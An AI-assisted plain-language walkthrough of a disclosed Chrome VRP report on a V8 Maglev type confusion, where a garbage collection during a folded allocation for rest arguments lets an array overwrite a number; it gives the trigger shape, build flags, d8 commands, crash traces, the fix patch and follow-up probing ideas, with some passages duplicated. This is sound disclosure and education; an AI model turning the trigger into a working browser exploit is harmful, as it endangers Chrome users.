The report shows a HeapNumber replaced by a FixedArray at the same address, and the observed outcomes are crashes. The observed outcomes are crashes, one in NumberPrototypeToString and one in a type cast (Expected Map but found Smi). The researcher notes that the second crash location may be more useful for exploitation, but the report does not demonstrate code execution or a sandbox escape. The bug is rated high severity and was rewarded with a 7,000 USD bounty.

Fix

The report states the fix should reset or split the folded allocation done in rest arguments, and includes this patch. The patch adds a call to ClearCurrentAllocationBlock() inside the deopt input iteration in MaglevGraphBuilder::BuildInlinedAllocation:

PATCH
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 7c7c1c36c95..b36b64df4eb 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -12900,6 +12900,7 @@ ValueNode* MaglevGraphBuilder::BuildInlinedAllocation(
       SmallZoneVector<ValueNode*, 8> values(zone());
       vobject->ForEachDeoptInputLocation(
           [&](ValueNode* node, ValueNode*& input) {
+            ClearCurrentAllocationBlock();
             if (node->Is<VirtualObject>()) {
               VirtualObject* nested = node->Cast<VirtualObject>();
               node = BuildInlinedAllocation(nested, allocation_type);
  • Run the same rest-argument shape under Maglev with different heap sizes and --predictable on other V8 commits, watching for the toString crash with a FixedArray in place of a number. A positive result is a HeapNumber slot reported as FIXED_ARRAY_TYPE by --verify-heap or in the object print.
  • Build with dcheck_always_on = true and look for the Expected Map but found Smi cast failure in object-type.cc, which indicates the corruption reached a different consumer than NumberPrototypeToString.
  • Vary the number and size of stub variable declarations to shift the Young Space layout, since the trigger depends on the promotion quota for V and PI being reached just before the allocation of R and on R not fitting in the current block.
  • Test other builtins that allocate in the Young Generation during a folded allocation, checking whether a GC between the reservation and the creation of a folded object can place a live value in the reserved slot.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

A security researcher found a bug in V8, the engine that runs JavaScript inside Google Chrome. The bug is a type confusion: memory holding a number is overwritten by an array, and the program crashes as a result. The researcher reported it through the Chrome Vulnerability Reward Program (Chrome VRP), the scheme Google runs to pay people who find and privately report security bugs in Chrome. The report is credited to Excello s.r.o. and the bug was rated high severity with a 7,000 USD reward.

The affected part is V8 itself, and more specifically a component called Maglev, one of V8's compilers. To understand the bug you only need two ideas from the way V8 manages memory: folded allocation and garbage collection with promotion from the Young Generation to the Old Generation. Both are explained below, from zero.

The two ideas behind the bug

Folded allocation

When a program runs, it constantly creates objects: numbers, strings, arrays, and so on. Each object needs a small piece of memory. Asking the operating system for memory is slow, so V8 grabs memory in bigger chunks and hands out slices of those chunks itself. Folded allocation is an optimisation where several of these slice requests are combined into a single request. Instead of asking for space three times, the engine asks once for enough space for all three objects and then fills the slices one after another.

An everyday comparison: imagine a shop assistant who needs to pack three items. Rather than walking to the storeroom three times, they take one box big enough for all three and put the items in it side by side. That is faster, but it means the assistant has already decided where each item will go before all the items exist.

Young Generation, Old Generation and garbage collection

V8 divides its memory into two main regions. The Young Generation (also called Young Space) is where new objects are born. The Old Generation (Old Space) is where objects that have lived for a while end up. The reason for the split is that most objects die young, so it is cheap to clean up the Young Space often.

Garbage collection (GC) is the process of finding objects that are no longer used and reclaiming their memory. When an object in the Young Space survives several garbage collections, V8 decides it is probably going to stick around and moves it, or promotes it, to the Old Space. Moving an object to a new address is called reallocation.

One of the moments when GC is called is during Builtins_AllocateInYoungGeneration, an internal routine that runs when more memory needs to be allocated in the Young Space. In other words: asking for memory can itself trigger a clean-up and a reshuffle.

The bug happens when such a reallocation takes place in the middle of a folded allocation, that is, after the engine has reserved space for several objects but before all of them have been created.

Setting up

The researcher worked against the V8 main branch at the commits listed below. d8 is V8's own command-line shell: a small program that runs JavaScript files directly, without a browser around them, which makes it convenient for testing engine internals.

Three proof-of-concept scripts were produced against different commits. A commit is a saved snapshot of the source code with an identifier; different commits contain slightly different code. The earliest commit for which a PoC was made is [redacted], and the issue may have existed even earlier. PoC 1 and PoC 2 use commit [redacted].

Because the trigger depends on the exact layout of memory, the researcher had to cope with differences between source commits, run flags and build arguments. The workaround was to introduce additional allocations by adding stub variable declarations, that is, extra unused variables whose only job is to shift objects around in memory. A script called search_allocations.py was written to do this automatically.

Finding it

The researcher reduced the problem to a simplified shape. A function with rest arguments calls another function:

JavaScript
function triggerFunction(...a) {
    ...
}
function __f_0() {
    ...
    triggerFunction(v, pi, r);
    ...
}

Line by line:

  • function triggerFunction(...a) { declares a function whose ...a is a rest parameter. A rest parameter collects all the arguments the caller passes into a single array. This detail matters because rest arguments are what produce the particular sequence of allocations that triggers the bug.
  • function __f_0() { declares the function that will be compiled by Maglev and will do the calling.
  • triggerFunction(v, pi, r); calls the first function with three values, named here v, pi and r.

When Maglev creates a folded allocation and a GC/reallocation happens in the middle of that allocation, the variable V ends up overlapped by the array A. The sequence is:

  1. Allocate memory for V and create V.
  2. Allocate memory for both PI and A (folded allocation) and create PI.
  3. Allocate memory for R and create R. As there is not enough memory in the current block, it is extended. During the extension the garbage collection and reallocation (from Young to Old space) is done.
  4. Reallocate PI from Young to Old space. Reallocate V from Young to Old space. V is put right after PI.
  5. Create array A. As the space after PI is reserved for A (in step 2) it is put right after PI. But variable V now uses this space (because of step 4). V is overwritten by A.

In plain words: the engine promised a slot to A early on, then a memory clean-up moved V into that very slot, and when A was finally created it was written over V. Two different things now believe they own the same piece of memory.

The report shows the object before and after the overwrite. Before, the memory holds a number:

Text
0x33920064002d: [HeapNumber]
 - map: 0x339200000515 <Map[12](HEAP_NUMBER_TYPE)>
 - value: 1073751774.0
  • 0x33920064002d is the memory address being inspected.
  • [HeapNumber] says the object at that address is a heap-allocated number, V8's representation for a number that lives in memory rather than being stored inline.
  • map: 0x339200000515 <Map[12](HEAP_NUMBER_TYPE)> is the object's map: a small structure that tells V8 what type the object is. Here it says HEAP_NUMBER_TYPE.
  • value: 1073751774.0 is the number itself.

After the overwrite, the same address holds something else entirely:

Text
0x33920064002d: [FixedArray]
 - map: 0x339200000565 <Map(FIXED_ARRAY_TYPE)>
 - length: 10
           0: 0x33920064002d <FixedArray[10]>
           1: 0x339200640021 <HeapNumber 3.14159>
           2: 0x339200000011 <undefined>
           3: 0x3392006400ad <HeapNumber 107375179900.0>
           4: 0x339200000011 <undefined>
           5: 0x339200640011 <Number map = 0x339200509f0d value = 0>
         6-9: 0x339200000011 <undefined>
  • The address is the same, but the map now says FIXED_ARRAY_TYPE: a fixed-size array.
  • length: 10 says the array has ten slots.
  • Slots 0 to 9 list what the array contains: a reference to itself, the number 3.14159, several undefined values, another number, and a number object.

This is the type confusion in its purest form: the same memory is a number according to the old code and an array according to the new contents.

Restrictions and requirements

A small modification to the script causes GC/reallocation to happen in other functions, which breaks the process. To trigger the issue, all of the following are required:

  • Folded allocation of PI and A (always present with this code).
  • The quota to reallocate from Young to Old space for both V and PI must be reached right before step 3 (sensitive to side effects).
  • There must not be enough space to allocate the new variable R at step 3, so that Builtins_AllocateInYoungGeneration is called and triggers the reallocation (sensitive to side effects).

"Sensitive to side effects" means that even tiny changes elsewhere in the program can move the moment when memory runs out, and with it the moment of the clean-up. The trigger is a narrow window, not a broad condition.

How it probably should work

The report suggests the intended behaviour is one of two things: either the reallocator should be aware of folded allocation and keep track of reserved memory, or reallocation should not happen in the middle of a folded allocation (between step 2 and step 5), with all objects from the folded allocation created before reallocation. Currently A is created after reallocation.

Root cause

Rest arguments create the sequence V, PI, R, A, where PI and A are folded-allocated. That is the whole root cause: a language feature (rest parameters) produces an allocation pattern that the compiler's optimisation does not handle safely when a garbage collection interrupts it.

Exploitation

Step 1: PoC 1 on a release build

Branch main, commit [redacted]. Build arguments:

Text
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false

These are settings for the build system that compiles V8. In plain words: build a normal, optimised, 64-bit release version, with the sandbox enabled (the sandbox is a security boundary that keeps V8's memory separate from the rest of the process), with backtraces, a disassembler, the ability to print objects, and heap verification turned on, and without debug checks. The extra features are there so the researcher can see what is happening inside memory.

Command:

Bash
d8 --allow-natives-syntax --no-js-atomics-pause --no-script-context-mutable-heap-number --predictable --wasm-staging --isolate poc1.js
  • d8 runs the shell.
  • --allow-natives-syntax permits special %-prefixed functions that only exist for engine testing, such as the optimisation controls used in the PoC.
  • --no-js-atomics-pause, --no-script-context-mutable-heap-number, --predictable, --wasm-staging and --isolate are engine flags that change runtime behaviour; --predictable in particular makes the engine behave in a repeatable way, which matters for a trigger this sensitive.
  • poc1.js is the test script.

The run aborts with a stack trace. A stack trace is the list of function calls that were active when the program died, from the innermost call outwards. The crash happens in toString (NumberPrototypeToString in number.tq), where the first argument is treated as the radix. The radix is the base of a number system, for example 10 for decimal or 16 for hexadecimal. Because the number value has been overlapped by the array, the crash occurs during the conversion. The trace shows the corrupted FixedArray[10] being passed where a number is expected:

Text
Stacktrace:
    ptr1=0x9b1001c002d
    ptr2=(nil)
    ptr3=(nil)
    ptr4=(nil)
    ptr5=(nil)
    ptr6=(nil)
    failure_message_object=0x75c7c3df7130

==== JS stack trace =========================================

    0: ExitFrame [pc: 0x5f92730281b6]
    1: StubFrame [pc: 0x5f927307ce95]
    2: StubFrame [pc: 0x5f9273070a45]
    3: toString [0x9b1003431d1](this=10000000,0x09b1001c002d <FixedArray[10]>,0x09b1001c0021 <HeapNumber 3.14159>,0x09b100000011 <undefined>,0x09b1001c00ad <HeapNumber 78383880524.0>,0x09b100000011 <undefined>,0x09b1001c0011 <Number map = 0x9b10034308d value = 0>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>)
    4: __f_0 [0x9b10035bc81] [poc1.js:~170] [pc=0x5f92d2f4a95e](this=0x09b100341a85 <JSGlobalProxy>)
    5: __f_1 [0x9b10035bcb5] [poc1.js:190] [bytecode=0x31a0018013d offset=40](this=0x09b100341a85 <JSGlobalProxy>)
    6: /* anonymous */ [0x9b10035b3a1] [poc1.js:193] [bytecode=0x31a001800d1 offset=43](this=0x09b100341a85 <JSGlobalProxy>)
    7: InternalFrame [pc: 0x5f9272f7e71c]
    8: EntryFrame [pc: 0x5f9272f7e46b]

==== Details ================================================

[0]: ExitFrame [pc: 0x5f92730281b6]
[1]: StubFrame [pc: 0x5f927307ce95]
[2]: StubFrame [pc: 0x5f9273070a45]
[3]: toString [0x9b1003431d1](this=10000000,0x09b1001c002d <FixedArray[10]>,0x09b1001c0021 <HeapNumber 3.14159>,0x09b100000011 <undefined>,0x09b1001c00ad <HeapNumber 78383880524.0>,0x09b100000011 <undefined>,0x09b1001c0011 <Number map = 0x9b10034308d value = 0>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>,0x09b100000011 <undefined>) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
[4]: __f_0 [0x9b10035bc81] [poc1.js:~170] [pc=0x5f92d2f4a95e](this=0x09b100341a85 <JSGlobalProxy>) {
// optimized frame
--------- s o u r c e   c o d e ---------
function __f_0() {\x0a  let __v_2 = __v_1;\x0a\x0a  for (var i = 0; i < 100; i++) { \x0a    --__v_1;\x0a    __v_2 += __v_1;\x0a    console.log(i);\x0a    console.log(__v_1);\x0a    triggerFunction(10000000, 456109613, __v_1,   Math.PI, __getRandomObject(5161),__v_2, __getRandomObject(639756),new Number(), undefined,undefined, undefined,...

-----------------------------------------
}
[5]: __f_1 [0x9b10035bcb5] [poc1.js:190] [bytecode=0x31a0018013d offset=40](this=0x09b100341a85 <JSGlobalProxy>) {
  // expression stack (top to bottom)
  [01] : 0x09b100341a85 <JSGlobalProxy>
  [00] : 0x09b10035bc81 <JSFunction __f_0 (sfi = 0x09b10035b259)>
--------- s o u r c e   c o d e ---------
function __f_1() {\x0a  %PrepareFunctionForOptimization(__f_0);  \x0a  __f_0();\x0a  %OptimizeMaglevOnNextCall(__f_0);\x0a  __v_1 = 1073751824;\x0a  __f_0();\x0a}
-----------------------------------------
}

[6]: /* anonymous */ [0x9b10035b3a1] [poc1.js:193] [bytecode=0x31a001800d1 offset=43](this=0x09b100341a85 <JSGlobalProxy>) {
  // heap-allocated locals
  var __v_1 = 0x09b10035eb35 <FixedArray[1]>
  // expression stack (top to bottom)
  [04] : 0x09b100341a85 <JSGlobalProxy>
  [03] : 0x09b10035d63d <Object map = 0x9b10034281d>
  [02] : 0x09b10035d659 <Object map = 0x9b10034281d>
  [01] : 0x09b10035bcb5 <JSFunction __f_1 (sfi = 0x09b10035b289)>
  [00] : 0x09b100000011 <undefined>
--------- s o u r c e   c o d e ---------
var my_simple_var_0;\x0avar my_simple_var_1;\x0avar my_simple_var_2;\x0avar my_simple_var_3;\x0avar my_simple_var_4;\x0avar my_simple_var_5;\x0avar my_simple_var_6;\x0avar my_simple_var_7;\x0avar my_simple_var_8;\x0avar my_simple_var_9;\x0avar my_simple_var_10;\x0avar my_simple_var_11;\x0avar my_simple_var_12;\x0avar my_simple_var_13;\x0ava...

-----------------------------------------
}

[7]: InternalFrame [pc: 0x5f9272f7e71c]
[8]: EntryFrame [pc: 0x5f9272f7e46b]
=====================

Trace/breakpoint trap (core dumped)

How to read it:

  • The numbered lines are the call stack. Frame 3 is toString, and its first argument is the corrupted FixedArray[10] instead of a number. That is the type confusion reaching real code.
  • Frame 4 is __f_0, the function that was optimised by Maglev. The // optimized frame marker means this code was compiled by the optimising compiler, not run by the interpreter.
  • Frame 5 is __f_1, the driver. Its source is shown: it calls %PrepareFunctionForOptimization(__f_0), calls __f_0() once, then calls %OptimizeMaglevOnNextCall(__f_0), sets __v_1 = 1073751824 and calls __f_0() again. The % functions are the testing hooks enabled by --allow-natives-syntax. The point of this dance is to make sure the second call runs the Maglev-compiled version of the function, where the bug lives.
  • Frame 6 is the anonymous top-level script. Its source shows the stub variable declarations (my_simple_var_0 through my_simple_var_13 and beyond) used to shape the heap, exactly as described in the setup.
  • Trace/breakpoint trap (core dumped) is the operating system reporting that the process was killed by a trap, here because V8 detected the inconsistency and stopped.

Step 2: PoC 2 with dchecks

Same branch and commit, but built with dchecks:

Text
symbol_level = 2
is_debug = false
v8_optimized_debug = false
dcheck_always_on = true
v8_win64_unwinding_info = true
v8_enable_verify_csa = true
v8_enable_object_print = true
v8_enable_maglev_graph_printer = true
v8_enable_disassembler = true
v8_enable_slow_dchecks = true
v8_enable_verify_heap = true
v8_enable_sandbox = true

target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_gdbjit = true

A dcheck is a debug check: an assertion that the engine's internal assumptions hold. In a normal release build these checks are compiled out for speed; with dcheck_always_on = true they stay in, so the engine stops the moment an assumption is violated, which makes bugs easier to see. The other settings add symbols, heap verification, a graph printer for Maglev and similar diagnostics.

Command:

Bash
d8 --allow-natives-syntax --no-js-atomics-pause --no-script-context-mutable-heap-number --predictable --wasm-staging --isolate poc2.js

This is the same command as before, only running poc2.js. This run crashes in a different place, which the researcher notes may be more useful for exploitation:

Text
#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, raw_offset)) at ../../src/codegen/code-stub-assembler.h:1166
  Expected Map but found Smi: 0x2a22168c (706877068)

#
#
#
#FailureMessage Object: 0x7ce5a47fee00Trace/breakpoint trap (core dumped)
  • Fatal error in ../../src/objects/object-type.cc, line 82 tells us where the engine gave up: in the file that handles object types, at line 82.
  • Type cast failed means the engine tried to convert an object to an expected type and the object was not that type. This is the type confusion again, caught by a check.
  • Expected Map but found Smi is the heart of it. A map is the type descriptor described earlier. A Smi is a small integer, stored directly inside a pointer-sized word rather than as a separate object. The engine expected a type descriptor and found a small integer, so the memory it was reading had been overwritten with something unrelated.
  • Trace/breakpoint trap (core dumped) is the same process death as before.

Why does this matter? A crash in one place is a bug; a crash in a type cast is a sign that the corrupted value travelled further into the engine before being noticed. The researcher's remark that this may be more useful for exploitation reflects that: the further a wrong-typed value travels, the more chances there are to turn it into something worse than a crash.

Step 3: PoC 3 on an older commit

The issue is also present in older versions. The earliest commit for which a PoC was made is [redacted], though the issue may have existed even earlier. Build arguments (release):

Text
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false

This is the same kind of release build as in step 1, without the extra Maglev and Wasm settings. The purpose is to show the bug is not a one-off in the newest code.

Command:

Bash
d8 --allow-natives-syntax --predictable --isolate poc3.js

A shorter command line than before: native syntax for the optimisation hooks, predictable behaviour, an isolate, and the third PoC script. The result is the same class of failure as PoC 1, again in toString with the corrupted FixedArray[10] in place of a number:

The structure is identical to PoC 1: toString receives a FixedArray[10] where a number belongs, __f_0 is the optimised frame, __f_1 is the driver that forces Maglev compilation, and the top-level frame holds the stub variables. Only the addresses and the file paths differ, because this is a different build of a different commit. The same bug reproduces on older code, which is why the researcher included it.

Root cause

Rest arguments produce the allocation sequence V, PI, R, A, in which PI and A are folded-allocated. The space after PI is reserved for A by the folded allocation, but the allocation of R can trigger a GC that reallocates V right after PI. When A is then created, it overwrites V, so a value the optimised code still treats as a number is now a FixedArray.

Impact

The report shows a HeapNumber replaced by a FixedArray at the same address, and the observed outcomes are crashes. The observed outcomes are crashes, one in NumberPrototypeToString and one in a type cast (Expected Map but found Smi). The researcher notes that the second crash location may be more useful for exploitation, but the report does not demonstrate code execution or a sandbox escape. The bug is rated high severity and was rewarded with a 7,000 USD bounty.

Fix

The report states the fix should reset or split the folded allocation done in rest arguments, and includes this patch. The patch adds a call to ClearCurrentAllocationBlock() inside the deopt input iteration in MaglevGraphBuilder::BuildInlinedAllocation:

PATCH
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 7c7c1c36c95..b36b64df4eb 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -12900,6 +12900,7 @@ ValueNode* MaglevGraphBuilder::BuildInlinedAllocation(
       SmallZoneVector<ValueNode*, 8> values(zone());
       vobject->ForEachDeoptInputLocation(
           [&](ValueNode* node, ValueNode*& input) {
+            ClearCurrentAllocationBlock();
             if (node->Is<VirtualObject>()) {
               VirtualObject* nested = node->Cast<VirtualObject>();
               node = BuildInlinedAllocation(nested, allocation_type);

How to read the patch:

  • The lines starting with diff --git, index, --- and +++ identify the file being changed and the two versions being compared.

  • @@ -12900,6 +12900,7 @@ says where in the file the change sits: six lines of context around line 12900, becoming seven lines after the change.

  • The line starting with + is the only new line: ClearCurrentAllocationBlock();. It is the only new line, inserted inside the deopt input iteration. In everyday terms, the shop assistant stops using the pre-packed box and starts a fresh one, so nothing can be written into a slot that a garbage collection might have reused.

  • The lines without a + or - are unchanged context, showing the function and the loop the new call is inserted into.

  • Run the same rest-argument shape under Maglev with different heap sizes and --predictable on other V8 commits, watching for the toString crash with a FixedArray in place of a number. A positive result is a HeapNumber slot reported as FIXED_ARRAY_TYPE by --verify-heap or in the object print.

  • Build with dcheck_always_on = true and look for the Expected Map but found Smi cast failure in object-type.cc, which indicates the corruption reached a different consumer than NumberPrototypeToString.

  • Vary the number and size of stub variable declarations to shift the Young Space layout, since the trigger depends on the promotion quota for V and PI being reached just before the allocation of R and on R not fitting in the current block.

  • Test other builtins that allocate in the Young Generation during a folded allocation, checking whether a GC between the reservation and the creation of a folded object can place a live value in the reserved slot.

Glossary

  • V8: the JavaScript engine inside Google Chrome that runs JavaScript code.
  • Type confusion: a bug where memory holding one kind of object is treated as a different kind, so the program reads or writes it incorrectly.
  • Chrome VRP: the Chrome Vulnerability Reward Program, Google's scheme for paying people who report security bugs in Chrome.
  • Maglev: one of V8's compilers, which turns JavaScript into faster machine code.
  • Folded allocation: an optimisation where several memory allocations are combined into one request, with slots reserved in advance for objects not yet created.
  • Young Generation (Young Space): the memory region where new objects are created.
  • Old Generation (Old Space): the memory region where objects that have survived a while are kept.
  • Garbage collection (GC): the process of finding unused objects and reclaiming their memory.
  • Promotion / reallocation: moving an object from the Young Space to the Old Space, which gives it a new address.
  • Builtins_AllocateInYoungGeneration: an internal V8 routine that allocates memory in the Young Space and can trigger a garbage collection.
  • d8: V8's command-line shell for running JavaScript files without a browser.
  • Commit: a saved snapshot of source code identified by a long hexadecimal string.
  • Build arguments: settings that control how the engine is compiled.
  • Flag: a command-line option that changes how a program behaves when it runs.
  • Rest parameter (...a): a JavaScript feature that collects all arguments passed to a function into one array.
  • HeapNumber: V8's representation of a number stored as a separate object in memory.
  • FixedArray: a V8 array with a fixed number of slots.
  • Map: a small structure attached to every V8 object that says what type it is.
  • Smi: a small integer stored directly inside a pointer-sized word rather than as a separate object.
  • Stack trace: the list of function calls active when a program crashes, from innermost to outermost.
  • Radix: the base of a number system, such as 10 for decimal.
  • NumberPrototypeToString: the internal implementation of converting a number to text.
  • Dcheck: a debug assertion that checks an internal assumption and stops the program if it fails.
  • Sandbox: a security boundary that keeps V8's memory separate from the rest of the process.
  • Proof of concept (PoC): a small script that reliably demonstrates a bug.
  • Exploitation: turning a bug into a concrete attack, such as running unauthorised code.
  • Sandbox escape: getting out of the sandbox boundary to affect the rest of the process or system.
  • Bounty: the money paid for a valid security report.
  • Patch: a file describing changes to source code.
  • Deopt input: information the optimising compiler keeps so it can fall back to slower code if its assumptions turn out wrong.
  • Builtin: a function implemented inside the engine rather than in JavaScript.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.